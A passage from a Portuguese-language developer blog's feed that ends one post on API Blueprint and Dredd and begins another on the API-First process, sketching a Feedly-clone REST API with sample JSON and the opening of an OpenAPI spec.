&lt;p&gt;&lt;a href=&quot;https://gist.github.com/kplaube/8cb39a98e0a2892412f060ad6c61704b&quot; title=&quot;Veja o exemplo completo no Gist&quot;&gt;O exemplo completo pode ser conferido aqui&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As imagens representando a especificação foram extraídas do &lt;em&gt;plugin&lt;/em&gt; &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=develiteio.api-blueprint-viewer&quot;&gt;&lt;em&gt;API Blueprint Viewer&lt;/em&gt;&lt;/a&gt;, para o &lt;a href=&quot;/tag/vscode.html&quot; title=&quot;LEia mais sobre VS Code&quot;&gt;&lt;em&gt;VS Code&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Na página de &lt;a href=&quot;https://apiblueprint.org/tools.html&quot; title=&quot;Visite o site oficial do API Blueprint&quot;&gt;&lt;em&gt;Tools&lt;/em&gt; do site oficial&lt;/a&gt; é
possível conhecer as diferentes ferramentas à disposição, que vão desde editores até &lt;em&gt;mock servers&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Nesse quesito, uma das ferramentas que me conquistou foi o &lt;a href=&quot;https://github.com/apiaryio/dredd&quot; title=&quot;Visite o repositório no Github&quot;&gt;&lt;em&gt;Dredd&lt;/em&gt;&lt;/a&gt;,
que é utilizado para validar especificação, e funciona tanto com o &lt;em&gt;API Blueprint&lt;/em&gt; quanto com o &lt;em&gt;OpenAPI&lt;/em&gt;. Aliás,
&lt;em&gt;OpenAPI&lt;/em&gt;/&lt;em&gt;Swagger&lt;/em&gt; ainda são &quot;campeões&quot; no quesito ferramentas disponíveis.&lt;/p&gt;
&lt;p&gt;Pela característica do &lt;em&gt;Markdown&lt;/em&gt;, e de ser relativamente mais barato de escrever, eu tive a oportunidade de utilizar o &lt;em&gt;API Blueprint&lt;/em&gt;
da seguinte forma:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Propostas de adições, remoções e alterações são escritas através de &lt;em&gt;API Blueprint&lt;/em&gt; e discutidas com os &lt;em&gt;stakeholders&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;A solução é escrita e o contrato é validado através do &lt;em&gt;Dredd&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;Mas a especificação pública é gerada através do código-fonte, com o &lt;em&gt;Swagger&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;E a partir dessa especificação é gerada a documentação final e &lt;em&gt;SDKs&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A facilidade de escrita de documentos &lt;em&gt;API Blueprint&lt;/em&gt; faz dele uma ótima opção e um &lt;em&gt;player&lt;/em&gt; mais que interessante
no cenário de &lt;em&gt;specs&lt;/em&gt; &lt;em&gt;REST&lt;/em&gt;. Um terreno ainda dominado pelo &lt;em&gt;Swagger&lt;/em&gt;...&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[API-First: Processo e ferramentas]]></title><description><![CDATA[No post anterior tive a oportunidade de falar
de uma forma mais abrangente sobre o API-First.
O exercício é interessante, uma vez que é…]]></description><link>https://klauslaube.com.br/2020/03/02/api-first-processo-e-ferramentas.html</link><guid isPermaLink="false">https://klauslaube.com.br/2020/03/02/api-first-processo-e-ferramentas.html</guid><pubDate>Mon, 02 Mar 2020 10:15:00 GMT</pubDate><content:encoded>&lt;p&gt;No &lt;a href=&quot;/2020/02/21/o-api-first.html&quot; title=&quot;O API-First&quot;&gt;&lt;em&gt;post&lt;/em&gt; anterior&lt;/a&gt; tive a oportunidade de falar
de uma forma mais abrangente sobre o &lt;a href=&quot;/tag/api-first.html&quot; title=&quot;Leia mais sobre API-First&quot;&gt;&lt;em&gt;API-First&lt;/em&gt;&lt;/a&gt;.
O exercício é interessante, uma vez que é possível focar no conceito,
ao invés de ferramentas e processos. Mas o objetivo
desse artigo é cairmos de cabeça em como exercitar a ideia de forma prática.&lt;/p&gt;
&lt;p&gt;O problema a ser solucionado será explicado mais abaixo, mas antes de cairmos na tentação
de pensar no &lt;em&gt;framework &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;web&lt;/a&gt;&lt;/em&gt;, na modelagem de dados,
em qual servidor de aplicação usar, ou em virtualizar com &lt;a href=&quot;/tag/docker.html&quot; title=&quot;Leia mais sobre Docker&quot;&gt;&lt;em&gt;Docker&lt;/em&gt;&lt;/a&gt;
e &lt;em&gt;Kubernetes&lt;/em&gt;, vamos focar primeiro na especificação.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 422px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/2c76901b9a39788658f276bc3fdc012a/fa5c1/api-first-flow.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 70.3125%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAACE0lEQVQoz6WRS08aURzF/W5+ABMWrtwLfgdgYQIEXNimI03ctLEJSUtjhGXRWhzbYpVhmAHSKA9HmBnmwcxc5v24twPFgLFNmvSfk//mnt89N+euof+YtdmCEAXBUhD6rksSBEWSg36/3+sFnjfzrGoJh/iK5rdBVhBGgiCqKitJwaP7D8ne2VkQj8NsNkinYTrtZjL20REql1GphE5Owg2LRbNcMkjCpimLbNgPzBJ2CoXe+no3EhlGIrcbG/rmZhCLTnPZu0Sil0zexuN8KoX2963iB/krPsGrdu2bzXGPycfH+tbWNBYzolGwve3s7HiZjHd4qGOYfnAwxTArn3ffvjHxqlG/Nq5qVqcdOM4CDgAIWBbyPOS4cPs878kyVFUEwEyqGkiSp0xcXfcB8EKz6y6fHbYRPFU4wDBERRFVxXDs1S6ffRV60jWcd8vcM927bptuD/qD5z3DuXUG8z5Hw+ZP1OnAFu012w4taLxiyootA1/TXGViSaFkUxJ1YQw4w9GXyZcuvivu5sa5vcnea5TH0KuP6vvmiKRYEm9fnDc/V6nzKv3lsoM3GKLF0y2eAra2gHHnIjlOpEbpFJfCEPYCvSxo75psg+KokKzUP50SldN6JeTr9zc0T4VHijlZwA8+U4PfCVS/gddXXu3G/jFSGU5jWW0oGJxojgWDDzXWOQ6MhioDLPWvhf3L/C7sF6uI8WUC/ORLAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Diferença de fluxos&quot;
        title=&quot;Diferença de fluxos&quot;
        src=&quot;/static/2c76901b9a39788658f276bc3fdc012a/fa5c1/api-first-flow.png&quot;
        srcset=&quot;/static/2c76901b9a39788658f276bc3fdc012a/8514f/api-first-flow.png 192w,
/static/2c76901b9a39788658f276bc3fdc012a/804b2/api-first-flow.png 384w,
/static/2c76901b9a39788658f276bc3fdc012a/fa5c1/api-first-flow.png 422w&quot;
        sizes=&quot;(max-width: 422px) 100vw, 422px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Diferença de fluxos&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Com sorte seremos capazes de produzir uma &lt;a href=&quot;/tag/api.html&quot; title=&quot;Leia mais sobre APIs&quot;&gt;&lt;em&gt;API&lt;/em&gt;&lt;/a&gt;
que atenda a necessidade dos nossos &lt;em&gt;stakeholders&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;O problema&lt;/h2&gt;
&lt;p&gt;Vamos &quot;reciclar&quot; o problema proposto no &lt;em&gt;post&lt;/em&gt; sobre &lt;a href=&quot;/2020/02/13/construindo-apis-em-django-com-django-rest-framework.html&quot; title=&quot;Construindo APIs em Django com DRF&quot;&gt;&lt;em&gt;Django REST Framework&lt;/em&gt;&lt;/a&gt;
e construir um &quot;Feedly-clone&quot;. Então, partiremos da análise do seguinte requisito funcional:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Eu como usuário,
Quero poder visualizar notícias recentes de websites que me cadastrei,
Para que assim eu fique atualizado sobre assuntos de meu interesse&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Com essa &lt;em&gt;user story&lt;/em&gt;, podemos pensar no processo que envolve a prática do &lt;em&gt;API-First&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;O processo&lt;/h2&gt;
&lt;p&gt;No &lt;a href=&quot;/2020/02/21/o-api-first.html&quot; title=&quot;O API-First&quot;&gt;&lt;em&gt;post&lt;/em&gt; anterior&lt;/a&gt; mencionei alguns passos
que não podem faltar em um contexto de &lt;em&gt;API-First&lt;/em&gt;. &lt;em&gt;Jennifer Riggins&lt;/em&gt;, no &lt;a href=&quot;https://www.programmableweb.com/news/how-to-design-great-apis-api-first-design-and-raml/how-to/2015/07/10&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;&quot;How to Design Great APIs with Api-First Design&quot;&lt;/a&gt; traz uma visão mais prática sobre como o processo pode ser definido:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Planeje:&lt;/strong&gt; Mesmo antes de começar, decida o propósito do produto e comece a esboçar a &lt;em&gt;API&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Projete e valide:&lt;/strong&gt; Debata o conceito com outros &lt;em&gt;stakeholders&lt;/em&gt; e progrida com o &lt;em&gt;design&lt;/em&gt; da &lt;em&gt;API&lt;/em&gt;. Prove o conceito através de &lt;em&gt;mocks&lt;/em&gt; (mais a seguir) e compreenda como a &lt;em&gt;API&lt;/em&gt; será utilizada;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Oficialize a especificação:&lt;/strong&gt; Construa a especificação de acordo com o planejamento e &lt;em&gt;design&lt;/em&gt;. Gere
a documentação baseada na &lt;em&gt;spec&lt;/em&gt;, enriqueça o &lt;em&gt;mock&lt;/em&gt; com os casos de uso e faça o &lt;em&gt;release&lt;/em&gt; da mesma;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Teste:&lt;/strong&gt; Teste para garantir que a &lt;em&gt;API&lt;/em&gt; funcione. Teste para garantir que os casos de uso são atendidos.
Teste para se assegurar que nenhuma nova alteração quebrou o contrato estabelecido. E considere testes automatizados sempre que possível;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Implemente:&lt;/strong&gt; Não apenas você (&lt;em&gt;backend&lt;/em&gt;), é hora de outros &lt;em&gt;stakeholders&lt;/em&gt; (&lt;em&gt;mobile&lt;/em&gt;, por exemplo) fazerem
parte do processo de concepção. Quanto antes interagirem, mais cedo e (teoricamente) mais fácil será a reação
à mudança;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Opere e engage:&lt;/strong&gt; Publique-a! Interaja com seus clientes, aprenda com necessidades que ainda precisam ser atendidas,
e repita o processo. &lt;em&gt;API-First&lt;/em&gt; é tão sobre negócios quanto é sobre tecnologia.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/827853de225882069665ab727698912b/50383/api-first-processo.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 18.229166666666664%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAmUlEQVQI13WK2w6CMBBE+/+/ZtQnDfpg6AUoKhFbe91tccVnJpvJ7Jlhy4Zqrc457/2yLVZKzSkiQMroQwoxA2BKMeek9dB3ChBDJCtEiFPrY6YZ7Zm8G6G6fnw24rU7d4eL5sPcCtlyOioGPtrj9cHHD5eKC3lT077RtDy1E5tdtgGNBxPQxmJDMR7Jf3Dlbw8rBLvy//sPXyaB5IHjA/9BAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo de processo com o API-First&quot;
        title=&quot;Exemplo de processo com o API-First&quot;
        src=&quot;/static/827853de225882069665ab727698912b/50383/api-first-processo.png&quot;
        srcset=&quot;/static/827853de225882069665ab727698912b/8514f/api-first-processo.png 192w,
/static/827853de225882069665ab727698912b/804b2/api-first-processo.png 384w,
/static/827853de225882069665ab727698912b/50383/api-first-processo.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de processo com o API-First&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Vamos esmiuçar de forma prática cada um dos passos acima.&lt;/p&gt;
&lt;h3&gt;Antes de ir: Single source of truth&lt;/h3&gt;
&lt;p&gt;A abordagem adotada nesse &lt;em&gt;post&lt;/em&gt; seguirá valores apresentados no
&lt;a href=&quot;https://medium.com/adobetech/three-principles-of-api-first-design-fa6666d9f694&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;&quot;Three Principles of API First Design&quot;&lt;/a&gt;. Mais especificamente:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Your API comes first, then the implementation&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;E nesse exemplo vamos separar especificação da implementação de forma &quot;concreta&quot;. Ou seja, serão dois artefatos
independentes.&lt;/p&gt;
&lt;p&gt;Existem alternativas a esse &lt;em&gt;approach&lt;/em&gt;, por exemplo, o uso do &lt;a href=&quot;https://github.com/axnsan12/drf-yasg&quot; title=&quot;Yet another Swagger generator&quot;&gt;&lt;em&gt;drf-yasg&lt;/em&gt;&lt;/a&gt;. Esta é uma ferramenta que gera a especificação (&lt;a href=&quot;/tag/swagger.html&quot; title=&quot;Leia mais sobre Swagger&quot;&gt;&lt;em&gt;Swagger&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;/tag/oai.html&quot; title=&quot;Leia mais sobre OpenApi&quot;&gt;&lt;em&gt;OpenAPI Spec&lt;/em&gt;&lt;/a&gt;) automaticamente de acordo com
o código fonte do seu projeto &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; (com &lt;em&gt;REST Framework&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Algo deve ser muito claro independente do que optar: Só deve haver uma verdade absoluta; No caso desse artigo,
será a especificação escrita à parte.&lt;/p&gt;
&lt;h2&gt;1: Planeje&lt;/h2&gt;
&lt;p&gt;Vamos usar &lt;a href=&quot;/tag/rest.html&quot; title=&quot;Leia mais sobre REST&quot;&gt;&lt;em&gt;REST&lt;/em&gt;&lt;/a&gt; como padrão de comunicação entre o nosso servidor e os clientes. Portanto, poderemos utilizar &lt;em&gt;Open API Spec&lt;/em&gt;
para especificar a &lt;em&gt;API&lt;/em&gt;. Caso a solução fosse a adoção de outra tecnologia (por exemplo, &lt;em&gt;GraphQL&lt;/em&gt; ou &lt;em&gt;gRPC&lt;/em&gt;), alternativas para o passo de descrição e documentação da interface devem ser aplicadas.&lt;/p&gt;
&lt;p&gt;Além disso, seremos o mais &quot;compliant&quot; possível com o &lt;em&gt;RESTful&lt;/em&gt;, ou seja, seguiremos à risca recomendações
em relação a &lt;em&gt;path&lt;/em&gt;, &lt;em&gt;status codes&lt;/em&gt; e verbos. O versionamento da &lt;em&gt;API&lt;/em&gt; acontecerá via fragmento no &lt;em&gt;path&lt;/em&gt; (ex.: &lt;code class=&quot;language-text&quot;&gt;/v1/&lt;/code&gt;),
e a princípio apresentaremos apenas respostas em &lt;em&gt;JSON&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Imaginemos que depois de ponderar com outros &lt;em&gt;stakeholders&lt;/em&gt;, chegamos à seguinte conclusão:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Título do artigo publicado no canal ABC&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;pub_date&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;data-com-timezone-incluso&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;summary&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Resumo do artigo&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;content&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Conteúdo completo do artigo&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;image&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;imagem-principal-do-artigo.png&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;channel&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ABC&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;http://article-1.html&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Título do artigo publicado no canal XYZ&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;pub_date&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;data-com-timezone-incluso&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;summary&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Resumo do artigo (2)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;content&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Conteúdo completo do artigo&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;image&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;imagem-principal-do-artigo-2.png&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;channel&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;XYZ&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;url&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;http://article-2.html&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Além disso, esboçamos as seguintes rotas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;GET /api/v1/channels/&amp;lt;id-do-channel&gt;&lt;/code&gt;: Pega a lista de artigos&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;GET /api/v1/articles/&amp;lt;id-do-artigo&gt;&lt;/code&gt;: Pega o artigo completo&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vamos ocultar complexidades fora do escopo da &lt;em&gt;user story&lt;/em&gt; apresentada (como por exemplo, paginação e
autenticação). Além disso, propositalmente não definimos um formato &quot;oficial&quot; para &lt;code class=&quot;language-text&quot;&gt;pub_date&lt;/code&gt;, apenas
determinamos que deverá ser uma data em &lt;em&gt;UTC&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Por tratar-se de um esboço inicial que gerará material para a definição do &lt;em&gt;style guide&lt;/em&gt; da &lt;em&gt;API&lt;/em&gt; e dos &lt;em&gt;endpoints&lt;/em&gt;
em si, é natural deixarmos passar alguns detalhes que podem gerar problemas de integração.&lt;/p&gt;
&lt;h2&gt;2: Projete e valide&lt;/h2&gt;
&lt;p&gt;Abaixo, o documento representando exatamente o que foi acordado na seção anterior, com &lt;em&gt;OpenApi Specification&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;openapi&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;3.0.2&quot;&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Feedly&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;clone
  &lt;span class=&quot;token key atrule&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; v1
&lt;span class=&quot;token key atrule&quot;&gt;paths&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;/channels&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Set of channels&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; e.g. blogs&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; websites or podcasts
    &lt;span class=&quot;token key atrule&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;&quot;200&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; List of channels
          &lt;span class=&quot;token key atrule&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;application/json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;schema&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; array
                &lt;span class=&quot;token key atrule&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                  &lt;span class=&quot;token key atrule&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#/components/schemas/Channel&quot;&lt;/span&gt;

  /channels/&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;parameters&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#/components/parameters/id&quot;&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Details of a channel
    &lt;span class=&quot;token key atrule&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;&quot;200&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Channel detail response
          &lt;span class=&quot;token key atrule&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;application/json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;schema&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token key atrule&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#/components/schemas/Channel&quot;&lt;/span&gt;

  &lt;span class=&quot;token key atrule&quot;&gt;/articles&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Set of items
